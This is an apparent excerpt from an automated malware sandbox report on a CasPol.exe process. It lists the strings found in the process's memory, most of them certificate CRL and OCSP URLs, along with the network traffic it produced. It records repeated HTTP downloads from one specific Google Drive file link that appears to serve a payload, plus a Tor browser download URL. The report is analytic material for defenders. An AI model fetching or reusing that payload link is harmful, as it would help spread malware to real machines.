Source: CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.suscerte.gob.ve/dpc0
Source: CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.suscerte.gob.ve/lcr0#
Source: CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.trustdst.com/certificates/policy/ACES-index.html0
Source: CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.uce.gub.uy/acrn/acrn.crl0
Source: CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G
Source: CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www2.postsignum.cz/crl/psrootqca2.crl01
Source: CasPol.exe, 00000003.00000003.17275843017.00000000010DB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20397811168.000000001D3A2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372959813.00000000010AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17275589568.00000000010D6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17269586140.00000000010DD000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20404063483.00000000200E0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17278819156.00000000010DB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372758608.000000000108C000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17277690602.00000000010D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: CasPol.exe, 00000003.00000003.17275843017.00000000010DB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20397811168.000000001D3A2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372959813.00000000010AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17275589568.00000000010D6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17269586140.00000000010DD000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20404063483.00000000200E0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17278819156.00000000010DB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372758608.000000000108C000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17277690602.00000000010D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crl.anf.es/AC/ANFServerCA.crl0
Source: CasPol.exe, 00000003.00000003.17012674069.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17013096892.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20371433769.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-0c-74-docs.googleusercontent.com/
Source: CasPol.exe, 00000003.00000003.17013096892.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-0c-74-docs.googleusercontent.com/1
Source: CasPol.exe, 00000003.00000003.17012674069.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-0c-74-docs.googleusercontent.com/_
Source: CasPol.exe, 00000003.00000003.17013096892.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-0c-74-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/0al9jnh9
Source: CasPol.exe, 00000003.00000003.17013096892.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-0c-74-docs.googleusercontent.com/t
Source: CasPol.exe, 00000003.00000003.15723880039.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 00000003.00000003.16507086398.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782720917.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16365039417.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17012674069.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15971309343.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970658357.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16241170310.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161966863.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16611111513.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060615492.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16303043458.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/0
Source: CasPol.exe, 00000003.00000003.16365039417.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: CasPol.exe, 00000003.00000003.16507086398.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782720917.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16365039417.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17012674069.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15971309343.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970658357.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16241170310.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161966863.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818747013.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16611111513.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060615492.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16303043458.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818032084.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/H
Source: CasPol.exe, 00000003.00000002.20371041773.0000000000E53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/P
Source: CasPol.exe, 00000003.00000003.15971309343.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970658357.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16241170310.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161966863.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060615492.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/R
Source: CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/_1
Source: CasPol.exe, 00000003.00000003.16507086398.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782720917.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17012674069.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16611111513.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/b
Source: CasPol.exe, 00000003.00000003.15971309343.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970658357.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/ce.a2
Source: CasPol.exe, 00000003.00000002.20370411559.0000000000CD0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16303043458.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818032084.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15723880039.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E
Source: CasPol.exe, 00000003.00000003.16507086398.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16365039417.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15971309343.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970658357.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16241170310.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161966863.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16611111513.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060615492.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16303043458.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E32859Z
Source: CasPol.exe, 00000003.00000003.15971309343.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970658357.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16241170310.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161966863.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818747013.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060615492.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16303043458.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818032084.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E8
Source: CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782720917.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16365039417.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17012674069.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16241170310.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16303043458.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E8V2K0EcN7S0sk7E
Source: CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782720917.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17012674069.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16611111513.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E8V2K0EcN7S0sk7E8
Source: CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E:P
Source: CasPol.exe, 00000003.00000003.16507086398.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782720917.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17012674069.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15971309343.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970658357.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16241170310.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161966863.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818747013.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15724350949.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16611111513.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060615492.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818032084.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15723880039.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7EX
Source: CasPol.exe, 00000003.00000002.20371210156.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7EZ
Source: CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818747013.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818032084.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/z
Source: CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://eca.hinet.net/repository0
Source: CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rca.e-szigno.hu/ocsp0-
Source: CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://repository.luxtrust.lu0
Source: CasPol.exe, 00000003.00000003.16839976993.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782400609.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16240989645.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16999808542.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16506792862.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161065605.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16610080924.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16928461959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15817800617.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16692720156.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15723729253.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060307959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16302066204.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15637036827.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16364711225.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970356224.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/websearch/answer/86640
Source: CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web.certicamara.com/marco-legal0Z
Source: CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.anf.es/AC/ACTAS/789230
Source: CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.anf.es/AC/ANFServerCA.crl0
Source: CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.anf.es/address/)1(0&
Source: CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: CasPol.exe, 00000003.00000003.16839976993.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782400609.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16240989645.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16999808542.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16506792862.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161065605.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16928461959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15817800617.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16692720156.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15723729253.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060307959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16302066204.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16364711225.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970356224.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.netlock.hu/docs/
Source: CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.netlock.net/docs
Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
Source: CasPol.exe, 00000003.00000003.17282584231.00000000201D4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281631999.00000000201D2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17282106098.00000000201D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
